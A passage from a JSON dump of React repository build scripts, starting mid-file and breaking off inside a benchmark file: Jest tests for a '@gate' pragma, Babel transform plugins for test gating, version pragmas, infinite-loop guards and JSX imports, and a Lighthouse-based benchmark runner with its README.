    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\ndescribe('transform-test-gate-pragma', () => {\n  // Fake runtime\n  // eslint-disable-next-line no-unused-vars\n  const _test_gate = (gateFn, testName, cb) => {\n    // eslint-disable-next-line jest/no-done-callback, jest/valid-title\n    it(testName, (...args) => {\n      shouldPass = gateFn(context);\n      return cb(...args);\n    });\n  };\n\n  // eslint-disable-next-line no-unused-vars\n  const _test_gate_focus = (gateFn, testName, cb) => {\n    // NOTE: Tests in this file are not actually focused because the calls to\n    // `test.only` and `fit` are compiled to `_test_gate_focus`. So if you want\n    // to focus something, swap the following `test` call for `test.only`.\n    // eslint-disable-next-line jest/no-done-callback, jest/valid-title\n    it(testName, (...args) => {\n      shouldPass = gateFn(context);\n      isFocused = true;\n      return cb(...args);\n    });\n  };\n\n  // Feature flags, environment variables, etc. We can configure this in\n  // our test set up.\n  const context = {\n    flagThatIsOff: false,\n    flagThatIsOn: true,\n    environment: 'fake-environment',\n  };\n\n  let shouldPass;\n  let isFocused;\n  beforeEach(() => {\n    shouldPass = null;\n    isFocused = false;\n  });\n\n  it('no pragma', () => {\n    expect(shouldPass).toBe(null);\n  });\n\n  // unrelated comment\n  it('no pragma, unrelated comment', () => {\n    expect(shouldPass).toBe(null);\n  });\n\n  // @gate flagThatIsOn\n  it('basic positive test', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate flagThatIsOff\n  it('basic negative test', () => {\n    expect(shouldPass).toBe(false);\n  });\n\n  // @gate flagThatIsOn\n  it('method', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  /* eslint-disable jest/no-focused-tests */\n\n  // @gate flagThatIsOn\n  it.only('test.only', () => {\n    expect(isFocused).toBe(true);\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate flagThatIsOff\n  it.only('it.only', () => {\n    expect(isFocused).toBe(true);\n    expect(shouldPass).toBe(false);\n  });\n\n  // @gate flagThatIsOn\n  it.only('fit', () => {\n    expect(isFocused).toBe(true);\n    expect(shouldPass).toBe(true);\n  });\n\n  /* eslint-enable jest/no-focused-tests */\n\n  // @gate !flagThatIsOff\n  it('flag negation', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate flagThatIsOn\n  // @gate !flagThatIsOff\n  it('multiple gates', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate flagThatIsOn\n  // @gate flagThatIsOff\n  it('multiple gates 2', () => {\n    expect(shouldPass).toBe(false);\n  });\n\n  // @gate !flagThatIsOff && flagThatIsOn\n  it('&&', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate flagThatIsOff || flagThatIsOn\n  it('||', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate (flagThatIsOn || flagThatIsOff) && flagThatIsOn\n  it('groups', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate flagThatIsOn == !flagThatIsOff\n  it('==', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate flagThatIsOn === !flagThatIsOff\n  it('===', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate flagThatIsOn != !flagThatIsOff\n  it('!=', () => {\n    expect(shouldPass).toBe(false);\n  });\n\n  // @gate flagThatIsOn != !flagThatIsOff\n  it('!==', () => {\n    expect(shouldPass).toBe(false);\n  });\n\n  // @gate flagThatIsOn === true\n  it('true', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate flagThatIsOff === false\n  it('false', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate environment === \"fake-environment\"\n  it('double quoted strings', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate environment === 'fake-environment'\n  it('single quoted strings', () => {\n    expect(shouldPass).toBe(true);\n  });\n\n  // @gate flagThatIsOn // This is a comment\n  it('line comment', () => {\n    expect(shouldPass).toBe(true);\n  });\n});\n\ndescribe('transform test-gate-pragma: actual runtime', () => {\n  // These tests use the actual gating runtime used by the rest of our\n  // test suite.\n\n  // @gate __DEV__\n  it('__DEV__', () => {\n    if (!__DEV__) {\n      throw Error(\"Doesn't work in production!\");\n    }\n  });\n\n  // @gate build === \"development\"\n  it('strings', () => {\n    if (!__DEV__) {\n      throw Error(\"Doesn't work in production!\");\n    }\n  });\n\n  // Always should fail because of the unguarded console.error\n  // @gate false\n  it('works with console.error tracking', () => {\n    console.error('Should cause test to fail');\n  });\n\n  // Always should fail because of the unguarded console.warn\n  // @gate false\n  it('works with console.warn tracking', () => {\n    console.warn('Should cause test to fail');\n  });\n\n  // @gate false\n  it('works with console tracking if error is thrown before end of test', () => {\n    console.warn('Please stop that!');\n    console.error('Stop that!');\n    throw Error('I told you to stop!');\n  });\n\n  // @gate false\n  it('a global error event is treated as a test failure', () => {\n    dispatchEvent(\n      new ErrorEvent('error', {\n        error: new Error('Oops!'),\n      })\n    );\n  });\n});\n\ndescribe('dynamic gate method', () => {\n  // @gate experimental && __DEV__\n  it('returns same conditions as pragma', () => {\n    expect(gate(ctx => ctx.experimental && ctx.__DEV__)).toBe(true);\n  });\n\n  it('converts string conditions to accessor function', () => {\n    expect(gate('experimental')).toBe(gate(flags => flags.experimental));\n  });\n});\n"
  },
  {
    "path": "scripts/babel/getComments.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nfunction getComments(path) {\n  const allComments = path.hub.file.ast.comments;\n  if (path.node.leadingComments) {\n    // Babel AST includes comments.\n    return path.node.leadingComments;\n  }\n  // In Hermes AST we need to find the comments by range.\n  const comments = [];\n  let line = path.node.loc.start.line;\n  let i = allComments.length - 1;\n  while (i >= 0 && allComments[i].loc.end.line >= line) {\n    i--;\n  }\n  while (i >= 0 && allComments[i].loc.end.line === line - 1) {\n    line = allComments[i].loc.start.line;\n    comments.unshift(allComments[i]);\n    i--;\n  }\n  return comments;\n}\n\nmodule.exports = getComments;\n"
  },
  {
    "path": "scripts/babel/transform-lazy-jsx-import.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\n// Most of our tests call jest.resetModules in a beforeEach and the\n// re-require all the React modules. However, the JSX runtime is injected by\n// the compiler, so those bindings don't get updated. This causes warnings\n// logged by the JSX runtime to not have a component stack, because component\n// stack relies on the the secret internals object that lives on the React\n// module, which because of the resetModules call is longer the same one.\n//\n// To workaround this issue, use a transform that calls require() again before\n// every JSX invocation.\n//\n// Longer term we should migrate all our tests away from using require() and\n// resetModules, and use import syntax instead so this kind of thing doesn't\n// happen.\n\nmodule.exports = function replaceJSXImportWithLazy(babel) {\n  const {types: t} = babel;\n\n  function getInlineRequire(moduleName) {\n    return t.callExpression(t.identifier('require'), [\n      t.stringLiteral(moduleName),\n    ]);\n  }\n\n  return {\n    visitor: {\n      CallExpression: function (path, pass) {\n        let callee = path.node.callee;\n        if (callee.type === 'SequenceExpression') {\n          callee = callee.expressions[callee.expressions.length - 1];\n        }\n        if (callee.type === 'Identifier') {\n          // Sometimes we seem to hit this before the imports are transformed\n          // into requires and so we hit this case.\n          switch (callee.name) {\n            case '_jsxDEV':\n              path.node.callee = t.memberExpression(\n                getInlineRequire('react/jsx-dev-runtime'),\n                t.identifier('jsxDEV')\n              );\n              return;\n            case '_jsx':\n              path.node.callee = t.memberExpression(\n                getInlineRequire('react/jsx-runtime'),\n                t.identifier('jsx')\n              );\n              return;\n            case '_jsxs':\n              path.node.callee = t.memberExpression(\n                getInlineRequire('react/jsx-runtime'),\n                t.identifier('jsxs')\n              );\n              return;\n          }\n          return;\n        }\n        if (callee.type !== 'MemberExpression') {\n          return;\n        }\n        if (callee.property.type !== 'Identifier') {\n          // Needs to be jsx, jsxs, jsxDEV.\n          return;\n        }\n        if (callee.object.type !== 'Identifier') {\n          // Needs to be _reactJsxDevRuntime or _reactJsxRuntime.\n          return;\n        }\n        // Replace the cached identifier with a new require call.\n        // Relying on the identifier name is a little flaky. Should ideally pick\n        // this from the import. For some reason it sometimes has the react prefix\n        // and other times it doesn't.\n        switch (callee.object.name) {\n          case '_reactJsxDevRuntime':\n          case '_jsxDevRuntime':\n            callee.object = getInlineRequire('react/jsx-dev-runtime');\n            return;\n          case '_reactJsxRuntime':\n          case '_jsxRuntime':\n            callee.object = getInlineRequire('react/jsx-runtime');\n            return;\n        }\n      },\n    },\n  };\n};\n"
  },
  {
    "path": "scripts/babel/transform-object-assign.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst helperModuleImports = require('@babel/helper-module-imports');\n\nmodule.exports = function autoImporter(babel) {\n  function getAssignIdent(path, file, state) {\n    if (state.id) {\n      return state.id;\n    }\n    state.id = helperModuleImports.addDefault(path, 'shared/assign', {\n      nameHint: 'assign',\n    });\n    return state.id;\n  }\n\n  return {\n    pre: function () {\n      // map from module to generated identifier\n      this.id = null;\n    },\n\n    visitor: {\n      CallExpression: function (path, file) {\n        if (/shared(\\/|\\\\)assign/.test(file.filename)) {\n          // Don't replace Object.assign if we're transforming shared/assign\n          return;\n        }\n        if (path.get('callee').matchesPattern('Object.assign')) {\n          // generate identifier and require if it hasn't been already\n          const id = getAssignIdent(path, file, this);\n          path.node.callee = id;\n        }\n      },\n\n      MemberExpression: function (path, file) {\n        if (/shared(\\/|\\\\)assign/.test(file.filename)) {\n          // Don't replace Object.assign if we're transforming shared/assign\n          return;\n        }\n        if (path.matchesPattern('Object.assign')) {\n          const id = getAssignIdent(path, file, this);\n          path.replaceWith(id);\n        }\n      },\n    },\n  };\n};\n"
  },
  {
    "path": "scripts/babel/transform-prevent-infinite-loops.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n * Copyright (c) 2017, Amjad Masad\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\n// Based on https://repl.it/site/blog/infinite-loops.\n\n// This should be reasonable for all loops in the source.\n// Note that if the numbers are too large, the tests will take too long to fail\n// for this to be useful (each individual test case might hit an infinite loop).\nconst MAX_SOURCE_ITERATIONS = 6000;\n// Code in tests themselves is permitted to run longer.\n// For example, in the fuzz tester.\nconst MAX_TEST_ITERATIONS = 5000;\n\nmodule.exports = ({types: t, template}) => {\n  // We set a global so that we can later fail the test\n  // even if the error ends up being caught by the code.\n  const buildGuard = template(`\n    if (%%iterator%%++ > %%maxIterations%%) {\n      global.infiniteLoopError = new RangeError(\n        'Potential infinite loop: exceeded ' +\n        %%maxIterations%% +\n        ' iterations.'\n      );\n      throw global.infiniteLoopError;\n    }\n  `);\n\n  return {\n    visitor: {\n      'WhileStatement|ForStatement|DoWhileStatement': (path, file) => {\n        const filename = file.file.opts.filename;\n        const maxIterations = t.logicalExpression(\n          '||',\n          t.memberExpression(\n            t.identifier('global'),\n            t.identifier('__MAX_ITERATIONS__')\n          ),\n          t.numericLiteral(\n            filename.indexOf('__tests__') === -1\n              ? MAX_SOURCE_ITERATIONS\n              : MAX_TEST_ITERATIONS\n          )\n        );\n\n        // An iterator that is incremented with each iteration\n        const iterator = path.scope.parent.generateUidIdentifier('loopIt');\n        const iteratorInit = t.numericLiteral(0);\n        path.scope.parent.push({\n          id: iterator,\n          init: iteratorInit,\n        });\n        // If statement and throw error if it matches our criteria\n        const guard = buildGuard({\n          iterator,\n          maxIterations,\n        });\n        // No block statement e.g. `while (1) 1;`\n        if (!path.get('body').isBlockStatement()) {\n          const statement = path.get('body').node;\n          path.get('body').replaceWith(t.blockStatement([guard, statement]));\n        } else {\n          path.get('body').unshiftContainer('body', guard);\n        }\n      },\n    },\n  };\n};\n"
  },
  {
    "path": "scripts/babel/transform-react-version-pragma.js",
    "content": "'use strict';\n\nconst getComments = require('./getComments');\n\nconst GATE_VERSION_STR = '@reactVersion ';\nconst REACT_VERSION_ENV = process.env.REACT_VERSION;\n\nfunction transform(babel) {\n  const {types: t} = babel;\n\n  // Runs tests conditionally based on the version of react (semver range) we are running\n  // Input:\n  //   @reactVersion >= 17.0\n  //   test('some test', () => {/*...*/})\n  //\n  // Output:\n  //    @reactVersion >= 17.0\n  //   _test_react_version('>= 17.0', 'some test', () => {/*...*/});\n  //\n  // See info about semver ranges here:\n  // https://www.npmjs.com/package/semver\n  function buildGateVersionCondition(comments) {\n    if (!comments) {\n      return null;\n    }\n\n    const resultingCondition = comments.reduce(\n      (accumulatedCondition, commentLine) => {\n        const commentStr = commentLine.value.trim();\n\n        if (!commentStr.startsWith(GATE_VERSION_STR)) {\n          return accumulatedCondition;\n        }\n\n        const condition = commentStr.slice(GATE_VERSION_STR.length);\n        if (accumulatedCondition === null) {\n          return condition;\n        }\n\n        return accumulatedCondition.concat(' ', condition);\n      },\n      null\n    );\n\n    if (resultingCondition === null) {\n      return null;\n    }\n\n    return t.stringLiteral(resultingCondition);\n  }\n\n  return {\n    name: 'transform-react-version-pragma',\n    visitor: {\n      ExpressionStatement(path) {\n        const statement = path.node;\n        const expression = statement.expression;\n        if (expression.type === 'CallExpression') {\n          const callee = expression.callee;\n          switch (callee.type) {\n            case 'Identifier': {\n              if (\n                callee.name === 'test' ||\n                callee.name === 'it' ||\n                callee.name === 'fit'\n              ) {\n                const comments = getComments(path);\n                const condition = buildGateVersionCondition(comments);\n                if (condition !== null) {\n                  callee.name =\n                    callee.name === 'fit'\n                      ? '_test_react_version_focus'\n                      : '_test_react_version';\n                  expression.arguments = [condition, ...expression.arguments];\n                } else if (REACT_VERSION_ENV) {\n                  callee.name = '_test_ignore_for_react_version';\n                }\n              }\n              break;\n            }\n            case 'MemberExpression': {\n              if (\n                callee.object.type === 'Identifier' &&\n                (callee.object.name === 'test' ||\n                  callee.object.name === 'it') &&\n                callee.property.type === 'Identifier' &&\n                callee.property.name === 'only'\n              ) {\n                const comments = getComments(path);\n                const condition = buildGateVersionCondition(comments);\n                if (condition !== null) {\n                  statement.expression = t.callExpression(\n                    t.identifier('_test_react_version_focus'),\n                    [condition, ...expression.arguments]\n                  );\n                } else if (REACT_VERSION_ENV) {\n                  statement.expression = t.callExpression(\n                    t.identifier('_test_ignore_for_react_version'),\n                    expression.arguments\n                  );\n                }\n              }\n              break;\n            }\n          }\n        }\n        return;\n      },\n    },\n  };\n}\n\nmodule.exports = transform;\n"
  },
  {
    "path": "scripts/babel/transform-test-gate-pragma.js",
    "content": "'use strict';\n\n/* eslint-disable no-for-of-loops/no-for-of-loops */\n\nconst getComments = require('./getComments');\n\nfunction transform(babel) {\n  const {types: t} = babel;\n\n  // A very stupid subset of pseudo-JavaScript, used to run tests conditionally\n  // based on the environment.\n  //\n  // Input:\n  //   @gate a && (b || c)\n  //   test('some test', () => {/*...*/})\n  //\n  // Output:\n  //   @gate a && (b || c)\n  //   _test_gate(ctx => ctx.a && (ctx.b || ctx.c), 'some test', () => {/*...*/});\n  //\n  // expression     →  binary ( ( \"||\" | \"&&\" ) binary)* ;\n  // binary         →  unary ( ( \"==\" | \"!=\" | \"===\" | \"!==\" ) unary )* ;\n  // unary          →  \"!\" primary\n  //                |  primary ;\n  // primary        →  NAME | STRING | BOOLEAN\n  //                |  \"(\" expression \")\" ;\n  function tokenize(code) {\n    const tokens = [];\n    let i = 0;\n    while (i < code.length) {\n      let char = code[i];\n      // Double quoted strings\n      if (char === '\"') {\n        let string = '';\n        i++;\n        do {\n          if (i > code.length) {\n            throw Error('Missing a closing quote');\n          }\n          char = code[i++];\n          if (char === '\"') {\n            break;\n          }\n          string += char;\n        } while (true);\n        tokens.push({type: 'string', value: string});\n        continue;\n      }\n\n      // Single quoted strings\n      if (char === \"'\") {\n        let string = '';\n        i++;\n        do {\n          if (i > code.length) {\n            throw Error('Missing a closing quote');\n          }\n          char = code[i++];\n          if (char === \"'\") {\n            break;\n          }\n          string += char;\n        } while (true);\n        tokens.push({type: 'string', value: string});\n        continue;\n      }\n\n      // Whitespace\n      if (/\\s/.test(char)) {\n        if (char === '\\n') {\n          return tokens;\n        }\n        i++;\n        continue;\n      }\n\n      const next3 = code.slice(i, i + 3);\n      if (next3 === '===') {\n        tokens.push({type: '=='});\n        i += 3;\n        continue;\n      }\n      if (next3 === '!==') {\n        tokens.push({type: '!='});\n        i += 3;\n        continue;\n      }\n\n      const next2 = code.slice(i, i + 2);\n      switch (next2) {\n        case '&&':\n        case '||':\n        case '==':\n        case '!=':\n          tokens.push({type: next2});\n          i += 2;\n          continue;\n        case '//':\n          // This is the beginning of a line comment. The rest of the line\n          // is ignored.\n          return tokens;\n      }\n\n      switch (char) {\n        case '(':\n        case ')':\n        case '!':\n          tokens.push({type: char});\n          i++;\n          continue;\n      }\n\n      // Names\n      const nameRegex = /[a-zA-Z_$][0-9a-zA-Z_$]*/y;\n      nameRegex.lastIndex = i;\n      const match = nameRegex.exec(code);\n      if (match !== null) {\n        const name = match[0];\n        switch (name) {\n          case 'true': {\n            tokens.push({type: 'boolean', value: true});\n            break;\n          }\n          case 'false': {\n            tokens.push({type: 'boolean', value: false});\n            break;\n          }\n          default: {\n            tokens.push({type: 'name', name});\n          }\n        }\n        i += name.length;\n        continue;\n      }\n\n      throw Error('Invalid character: ' + char);\n    }\n    return tokens;\n  }\n\n  function parse(code, ctxIdentifier) {\n    const tokens = tokenize(code);\n\n    let i = 0;\n    function parseExpression() {\n      let left = parseBinary();\n      while (true) {\n        const token = tokens[i];\n        if (token !== undefined) {\n          switch (token.type) {\n            case '||':\n            case '&&': {\n              i++;\n              const right = parseBinary();\n              if (right === null) {\n                throw Error('Missing expression after ' + token.type);\n              }\n              left = t.logicalExpression(token.type, left, right);\n              continue;\n            }\n          }\n        }\n        break;\n      }\n      return left;\n    }\n\n    function parseBinary() {\n      let left = parseUnary();\n      while (true) {\n        const token = tokens[i];\n        if (token !== undefined) {\n          switch (token.type) {\n            case '==':\n            case '!=': {\n              i++;\n              const right = parseUnary();\n              if (right === null) {\n                throw Error('Missing expression after ' + token.type);\n              }\n              left = t.binaryExpression(token.type, left, right);\n              continue;\n            }\n          }\n        }\n        break;\n      }\n      return left;\n    }\n\n    function parseUnary() {\n      const token = tokens[i];\n      if (token !== undefined) {\n        if (token.type === '!') {\n          i++;\n          const argument = parseUnary();\n          return t.unaryExpression('!', argument);\n        }\n      }\n      return parsePrimary();\n    }\n\n    function parsePrimary() {\n      const token = tokens[i];\n      switch (token.type) {\n        case 'boolean': {\n          i++;\n          return t.booleanLiteral(token.value);\n        }\n        case 'name': {\n          i++;\n          return t.memberExpression(ctxIdentifier, t.identifier(token.name));\n        }\n        case 'string': {\n          i++;\n          return t.stringLiteral(token.value);\n        }\n        case '(': {\n          i++;\n          const expression = parseExpression();\n          const closingParen = tokens[i];\n          if (closingParen === undefined || closingParen.type !== ')') {\n            throw Error('Expected closing )');\n          }\n          i++;\n          return expression;\n        }\n        default: {\n          throw Error('Unexpected token: ' + token.type);\n        }\n      }\n    }\n\n    const program = parseExpression();\n    if (tokens[i] !== undefined) {\n      throw Error('Unexpected token');\n    }\n    return program;\n  }\n\n  function buildGateCondition(comments) {\n    let conditions = null;\n    for (const line of comments) {\n      const commentStr = line.value.trim();\n      if (commentStr.startsWith('@gate ')) {\n        const code = commentStr.slice(6);\n        const ctxIdentifier = t.identifier('ctx');\n        const condition = parse(code, ctxIdentifier);\n        if (conditions === null) {\n          conditions = [condition];\n        } else {\n          conditions.push(condition);\n        }\n      }\n    }\n    if (conditions !== null) {\n      let condition = conditions[0];\n      for (let i = 1; i < conditions.length; i++) {\n        const right = conditions[i];\n        condition = t.logicalExpression('&&', condition, right);\n      }\n      return condition;\n    } else {\n      return null;\n    }\n  }\n\n  return {\n    name: 'test-gate-pragma',\n    visitor: {\n      ExpressionStatement(path) {\n        const statement = path.node;\n        const expression = statement.expression;\n        if (expression.type === 'CallExpression') {\n          const callee = expression.callee;\n          switch (callee.type) {\n            case 'Identifier': {\n              if (\n                callee.name === 'test' ||\n                callee.name === 'it' ||\n                callee.name === 'fit'\n              ) {\n                const comments = getComments(path);\n                if (comments !== undefined) {\n                  const condition = buildGateCondition(comments);\n                  if (condition !== null) {\n                    callee.name =\n                      callee.name === 'fit' ? '_test_gate_focus' : '_test_gate';\n                    expression.arguments = [\n                      t.arrowFunctionExpression(\n                        [t.identifier('ctx')],\n                        condition\n                      ),\n                      ...expression.arguments,\n                    ];\n                  }\n                }\n              }\n              break;\n            }\n            case 'MemberExpression': {\n              if (\n                callee.object.type === 'Identifier' &&\n                (callee.object.name === 'test' ||\n                  callee.object.name === 'it') &&\n                callee.property.type === 'Identifier' &&\n                callee.property.name === 'only'\n              ) {\n                const comments = getComments(path);\n                if (comments !== undefined) {\n                  const condition = buildGateCondition(comments);\n                  if (condition !== null) {\n                    statement.expression = t.callExpression(\n                      t.identifier('_test_gate_focus'),\n                      [\n                        t.arrowFunctionExpression(\n                          [t.identifier('ctx')],\n                          condition\n                        ),\n                        ...expression.arguments,\n                      ]\n                    );\n                  }\n                }\n              }\n              break;\n            }\n          }\n        }\n        return;\n      },\n    },\n  };\n}\n\nmodule.exports = transform;\n"
  },
  {
    "path": "scripts/bench/.gitignore",
    "content": "react-dom.production.min.js\nreact.production.min.js\n"
  },
  {
    "path": "scripts/bench/README.md",
    "content": "# React Benchmarking\n\n## Commands\n\nIn most cases, the only two commands you might want to use are:\n\n- `yarn start`\n- `yarn --cwd=../../ build react/index,react-dom/index --type=UMD_PROD && yarn start --skip-build`\n\nThe first command will run benchmarks with all the default settings. A local and remote build will occur on React and ReactDOM UMD bundles, both local and remote repos will be run against all benchmarks.\n\nThe second command will run all benchmarks but skip the build process. This is useful for when doing local performance tweaking and the remote repo has already had its bundles built. Both local and remote repos will be run against all benchmarks with this command too.\n\nThe other commands are as follows:\n\n```bash\n# will compare local repo vs remote merge base repo\nyarn start\n\n# will compare local repo vs remote merge base repo\n# this can significantly improve bench times due to no build\nyarn start --skip-build\n\n# will only build and run local repo against benchmarks (no remote values will be shown)\nyarn start --local\n\n# will only build and run remote merge base repo against benchmarks (no local values will be shown)\nyarn start --remote\n\n# will only build and run remote main repo against benchmarks\nyarn start --remote=main\n\n# same as \"yarn start\"\nyarn start --remote --local\n\n# runs benchmarks with Chrome in headless mode\nyarn start --headless\n\n# runs only specific string matching benchmarks\nyarn start --benchmark=hacker\n```\n"
  },
  {
    "path": "scripts/bench/benchmark.js",
    "content": "'use strict';\n\nconst Lighthouse = require('lighthouse');\nconst chromeLauncher = require('chrome-launcher');\n\nconst stats = require('stats-analysis');\nconst config = require('lighthouse/lighthouse-core/config/perf-config');\nconst spawn = require('child_process').spawn;\nconst os = require('os');\n\nconst timesToRun = 10;\n\nfunction wait(val) {\n  return new Promise(resolve => setTimeout(resolve, val));\n}\n\nasync function runScenario(benchmark, chrome) {\n  const port = chrome.port;\n  const results = await Lighthouse(\n    `http://localhost:8080/${benchmark}/`,\n    {\n      output: 'json',\n      port,\n    },\n    config\n  );\n\n  const perfMarkings = results.lhr.audits['user-timings'].details.items;\n  const entries = perfMarkings\n    .filter(({timingType}) => timingType !== 'Mark')\n    .map(({duration, name}) => ({\n      entry: name,\n      time: duration,\n    }));\n  entries.push({\n    entry: 'First Meaningful Paint',\n    time: results.lhr.audits['first-meaningful-paint'].rawValue,\n  });\n\n  return entries;\n}\n\nfunction bootstrap(data) {\n  const len = data.length;\n  const arr = Array(len);\n  for (let j = 0; j < len; j++) {\n    arr[j] = data[(Math.random() * len) | 0];\n  }\n  return arr;\n}\n\nfunction calculateStandardErrorOfMean(data) {\n  const means = [];\n  for (let i = 0; i < 10000; i++) {\n    means.push(stats.mean(bootstrap(data)));\n  }\n  return stats.stdev(means);\n}\n\nfunction calculateAverages(runs) {\n  const data = [];\n  const averages = [];\n\n  runs.forEach((entries, x) => {\n    entries.forEach(({entry, time}, i) => {\n      if (i >= averages.length) {\n        data.push([time]);\n        averages.push({\n          entry,\n          mean: 0,\n          sem: 0,\n        });\n      } else {\n        data[i].push(time);\n        if (x === runs.length - 1) {\n          const dataWithoutOutliers = stats.filterMADoutliers(data[i]);\n          averages[i].mean = stats.mean(dataWithoutOutliers);\n          averages[i].sem = calculateStandardErrorOfMean(data[i]);\n        }\n      }\n    });\n  });\n\n  return averages;\n}\n\nasync function initChrome() {\n  const platform = os.platform();\n\n  if (platform === 'linux') {\n    process.env.XVFBARGS = '-screen 0, 1024x768x16';\n    process.env.LIGHTHOUSE_CHROMIUM_PATH = 'chromium-browser';\n    const child = spawn('xvfb start', [{detached: true, stdio: ['ignore']}]);\n    child.unref();\n    // wait for chrome to load then continue\n    await wait(3000);\n    return child;\n  }\n}\n\nasync function launchChrome(headless) {\n  return await chromeLauncher.launch({\n    chromeFlags: [headless ? '--headless' : ''],\n  });\n}\n\nasync function runBenchmark(benchmark, headless) {\n  const results = {\n    runs: [],\n    averages: [],\n  };\n\n  await initChrome();\n\n  for (let i = 0; i < timesToRun; i++) {\n    let chrome = await launchChrome(headless);\n\n    results.runs.push(await runScenario(benchmark, chrome));\n    // add a delay or sometimes it confuses lighthouse and it hangs\n    await wait(500);\n    try {\n      await chrome.kill();\n    } catch (e) {}\n  }\n\n  results.averages = calculateAverages(results.runs);\n  return results;\n}\n\nmodule.exports = runBenchmark;\n"
  },
  {
    "path": "scripts/bench/benchmarks/hacker-news/benchmark.js",
    "content": "(function () {\n  'use strict';\n\n  const e = React.createElement;\n\n  function timeAge(time) {\n    const now = new Date().getTime() / 1000;\n    const minutes = (now - time) / 60;\n\n    if (minutes < 60) {\n      return Math.round(minutes) + ' minutes ago';\n    }\n    return Math.round(minutes / 60) + ' hours ago';\n  }\n\n  function getHostUrl(url) {\n    return (url + '')\n      .replace('https://', '')\n      .replace('http://', '')\n      .split('/')[0];\n  }\n\n  function HeaderBar() {\n    return e(\n      'tr',\n      {\n        style: {\n          backgroundColor: '#222',\n        },\n      },\n      e(\n        'table',\n        {\n          style: {\n            padding: 4,\n          },\n          width: '100%',\n          cellSpacing: 0,\n          cellPadding: 0,\n        },\n        e(\n          'tbody',\n          null,\n          e(\n            'tr',\n            null,\n            e(\n              'td',\n              {\n                style: {\n                  width: 18,\n                  paddingRight: 4,\n                },\n              },\n              e(\n                'a',\n                {\n                  href: '#',\n                },\n                e('img', {\n                  src: 'logo.png',\n                  width: 16,\n                  height: 16,\n                  style: {\n                    border: '1px solid #00d8ff',\n                  },\n                })\n              )\n            ),\n            e(\n              'td',\n              {\n                style: {\n                  lineHeight: '12pt',\n                },\n                height: 10,\n              },\n              e(\n                'span',\n                {\n                  className: 'pagetop',\n                },\n                e('b', {className: 'hnname'}, 'React HN Benchmark'),\n                e('a', {href: '#'}, 'new'),\n                ' | ',\n                e('a', {href: '#'}, 'comments'),\n                ' | ',\n                e('a', {href: '#'}, 'show'),\n                ' | ',\n                e('a', {href: '#'}, 'ask'),\n                ' | ',\n                e('a', {href: '#'}, 'jobs'),\n                ' | ',\n                e('a', {href: '#'}, 'submit')\n              )\n            )\n          )\n        )\n      )\n    );\n  }\n\n  function Story({story, rank}) {\n    return [\n      e(\n        'tr',\n        {\n          className: 'athing',\n        },\n        e(\n          'td',\n          {\n            style: {\n              verticalAlign: 'top',\n              textAlign: 'right',\n            },\n            className: 'title',\n          },\n          e(\n            'span',\n            {\n              className: 'rank',\n            },\n            `${rank}.`\n          )\n        ),\n        e(\n          'td',\n          {\n            className: 'votelinks',\n            style: {\n              verticalAlign: 'top',\n            },\n          },\n          e(\n            'center',\n            null,\n            e(\n              'a',\n              {\n                href: '#',\n              },\n              e('div', {\n                className: 'votearrow',\n                title: 'upvote',\n              })\n            )\n          )\n        ),\n        e(\n          'td',\n          {\n            className: 'title',\n          },\n          e(\n            'a',\n            {\n              href: '#',\n              className: 'storylink',\n            },\n            story.title\n          ),\n          story.url\n            ? e(\n                'span',\n                {\n                  className: 'sitebit comhead',\n                },\n                ' (',\n                e(\n                  'a',\n                  {\n                    href: '#',\n                  },\n                  getHostUrl(story.url)\n                ),\n                ')'\n              )\n            : null\n        )\n      ),\n      e(\n        'tr',\n        null,\n        e('td', {\n          colSpan: 2,\n        }),\n        e(\n          'td',\n          {\n            className: 'subtext',\n          },\n          e(\n            'span',\n            {\n              className: 'score',\n            },\n            `${story.score} points`\n          ),\n          ' by ',\n          e(\n            'a',\n            {\n              href: '#',\n              className: 'hnuser',\n            },\n            story.by\n          ),\n          ' ',\n          e(\n            'span',\n            {\n              className: 'age',\n            },\n            e(\n              'a',\n              {\n                href: '#',\n              },\n              timeAge(story.time)\n            )\n          ),\n          ' | ',\n          e(\n            'a',\n            {\n              href: '#',\n            },\n            'hide'\n          ),\n          ' | ',\n          e(\n            'a',\n            {\n              href: '#',\n            },\n            `${story.descendants || 0} comments`\n          )\n        )\n      ),\n      e('tr', {\n        style: {\n          height: 5,\n        },\n        className: 'spacer',\n      }),\n    ];\n  }\n\n  function StoryList({stories}) {\n    return e(\n      'tr',\n      null,\n      e(\n        'td',\n        null,\n        e(\n          'table',\n          {\n            cellPadding: 0,\n            cellSpacing: 0,\n            classList: 'itemlist',\n          },\n          e(\n            'tbody',\n            null,\n            stories.map((story, i) =>\n              e(Story, {story, rank: ++i, key: story.id})\n            )\n          )\n        )\n      )\n    );\n  }\n\n  function App({stories}) {\n    return e(\n      'center',\n      null,\n      e(\n        'table',\n        {\n          id: 'hnmain',\n          border: 0,\n          cellPadding: 0,\n          cellSpacing: 0,\n          width: '85%',\n          style: {\n            'background-color': '#f6f6ef',\n          },\n        